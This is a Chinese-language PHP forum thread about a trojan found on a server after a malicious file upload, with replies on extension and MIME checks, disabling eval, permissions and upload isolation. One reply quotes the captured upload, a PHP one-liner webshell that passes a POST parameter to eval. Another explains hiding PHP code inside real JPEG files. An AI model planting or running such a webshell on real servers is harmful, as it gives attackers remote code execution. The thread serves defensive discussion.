服务器上发现了一个木马程序!


处理思路:

  1. 删除,并且修改上传文件权限为0444,不要赋予1权限
  2. 禁用eval函数
  3. 上传接口严格检查文件后缀

    想问一下各位,这种木马文件是用什么文件写的?是编译后的PHP文件吗?

php
让PHP再次伟大
《L01 基础入门》
我们将带你从零开发一个项目并部署到线上,本课程教授 Web 开发中专业、实用的技能,如 Git 工作流、Laravel Mix 前端工作流等。
《L03 构架 API 服务器》
你将学到如 RESTFul 设计风格、PostMan 的使用、OAuth 流程,JWT 概念及使用 和 API 开发相关的进阶知识。
讨论数量: 16

上面有人说了 文件后缀 和 Mime Type,这俩种可以防住从 web 进行访问从而执行 shell。

但是,如果项目里面有 动态的 require 能被控制利用的话,还是存在问题。

即使是你把 php 文件名改成 jpg。只需要在真实的 jpg 文件后面添加了php代码,当你在 require 的时候,php 就会尝试去执行和解析里面的代码,同样能造成安全问题。


其次,有些人对执行权限(x)有所误解,即使你去掉了 x 权限,你会发现 php 代码仍然是可以运行的,因为 x 权限是指直接运行一个文件。./index.php 类似于这样,而实际上运行的时候,都是有 php 去解释执行的,对于 .php 文件,只需要有读取权限,能读取到就行了。

1年前 评论

之前有一个TP项目,我也想禁用eval ,谁曾想,tp自己框架都需要这个函数渲染 。laravel 查了目前没有用到该函数

file

1年前 评论
hikki 1年前
admin0000 1年前
liaosp (作者) 1年前

他们是通过修改上传文件内容,然后修改文件头的方式,把上传文件伪装为合法的jpg,但是文件内容其实是php文件

Content-Disposition: form-data; name="file"; filename="4.php"
Content-Type: application/zip

<?php
class Test{public $name = '';function __destruct(){ @eval("$this->name"); }}

$test= new Test();
$p = @$_POST['p'];
$test->name = $p;
?>
1年前 评论

还好我都是存在阿里 :unamused:

1年前 评论

删除,并且修改上传文件权限为 0444,不要赋予 1 权限

对这句话提出两点质疑

  1. 上传目录只读的话你怎么上传新文件?
  2. 「不要赋予 1 权限」,我理解意思是不赋予执行权限:
    1. 如果是对于目录不赋予执行权限,那怎么读取其中的内容?
    2. 如果是对文件不赋予执行权限意义又在哪里?众所周知 PHP 是解释型语言,是通过解释器解释并运行,被解释文件只需读权限即可,给不给执行权限又有什么区别呢?

想问一下各位,这种木马文件是用什么文件写的?是编译后的 PHP 文件吗?

首先,还是那句话,众所周知 PHP 是解释型语言,并非编译型语言,这点要分清!

忽略上方乱码内容只看最后两行就行。在 PHP 解释执行时,未被 PHP 标记符(例如 <?php ?> <? ?> <?= ?>)包裹的内容会原样输出,这也是能在 PHP 文件中混淆 html 代码的原因

1年前 评论
勇敢的心 (楼主) 1年前

基本防御措施:

  • php.ini禁用危险函数(做了这个能拦掉很大一部分常见的攻击方式)
  • 检查目录权限分配是否合理
  • 访问入口和上传入口最好和源码隔开(类似现在框架的访问入口都在public下)
  • 检查当前框架版本号、PHP版本号,是否存在未修复漏洞,是的话进行升级修复
  • 运行环境、用户、权限、资源的分配遵循最小原则
1年前 评论

然后和大家分享下常见的文件上传攻击方式,一般此类攻击会分2步动作,一是找到上传接口上传非法文件埋下伏笔,二是获得执行契机,那么我们如何做好防范呢?

首先最基本的,你得检测上传文件后缀(很多人会说后缀可以改,这是无用的,错!!!这是非常有用且必须做的,后面我会解释),然后类似一些图片、视频、音频等一些资源,你也可以附带检测一下MIME类型。这两项安全验证,不管对于何种语言,都是比较容易做到的,很多内置库就能干,编写成本低,是比较实际的做法,做好这两项检测,你的接口已经基本安全了。更全面的防范,你可以检测文件元数据,这需要你有比较高的代码水平、对各种格式元数据了解、对API响应效率是个考验。

上面我说的2步攻击动作,第1步其实比较容易实现(即使你做了我说的2个安全验证,也是无法阻止这一步的),项目的整体安全防范做到位的情况下,第2步是很难实现的。

为什么说第1步容易实现呢,前面也有同学列举了一些攻击方式,我可以伪装文件后缀,那么你的文件后缀验证就无法拦截了,咦,但是我MIME类型检查可以拦截啊,然而道高一尺魔高一丈,你拦我MIME类型,那我就传一张真实图片给你,我在图片元数据参入PHP代码,成功KO你。

好,这里解释前面为什么说要验证文件后缀了,比如我验证文件后缀,强制要求你只能传.jpg等格式文件,不允许你传.php等文件,那么你即使把.php文件改为.jpg文件上传了,那么你做不到我上面说的2步攻击的第2步:攻击契机,因为你传的是.jpg格式,你无法借助我服务器现有的PHP解释器,进行web访问方式进行攻击,你可能会需要进行脚本执行方式攻击,但因为我服务器整体防范到位,你很难获得到我服务器的shell之类的权限,所以你也有无法拥有攻击契机,这就是为什么要你验证后缀的原因,它并不仅仅是能否验证真实文件的问题

1年前 评论

上传文件的目录设置为不能执行那就行了吧,就0666

1年前 评论

上面有人说了 文件后缀 和 Mime Type,这俩种可以防住从 web 进行访问从而执行 shell。

但是,如果项目里面有 动态的 require 能被控制利用的话,还是存在问题。

即使是你把 php 文件名改成 jpg。只需要在真实的 jpg 文件后面添加了php代码,当你在 require 的时候,php 就会尝试去执行和解析里面的代码,同样能造成安全问题。


其次,有些人对执行权限(x)有所误解,即使你去掉了 x 权限,你会发现 php 代码仍然是可以运行的,因为 x 权限是指直接运行一个文件。./index.php 类似于这样,而实际上运行的时候,都是有 php 去解释执行的,对于 .php 文件,只需要有读取权限,能读取到就行了。

1年前 评论

一句话木马

1年前 评论

所以这个木马是怎么攻击的你们的?在web服务器一般配置中,只有.php后缀的才会使用php执行,所以上传时校验后缀就可以了吧。

1年前 评论
勇敢的心 (楼主) 1年前
porygonCN

之前的做法是 不让直接访问文件 使用类似云存储一样 一个code换一个资源 资源直接由后端返回流到前端 这样就不会再后端执行了

1年前 评论

讨论应以学习和精进为目的。请勿发布不友善或者负能量的内容,与人为善,比聪明更重要!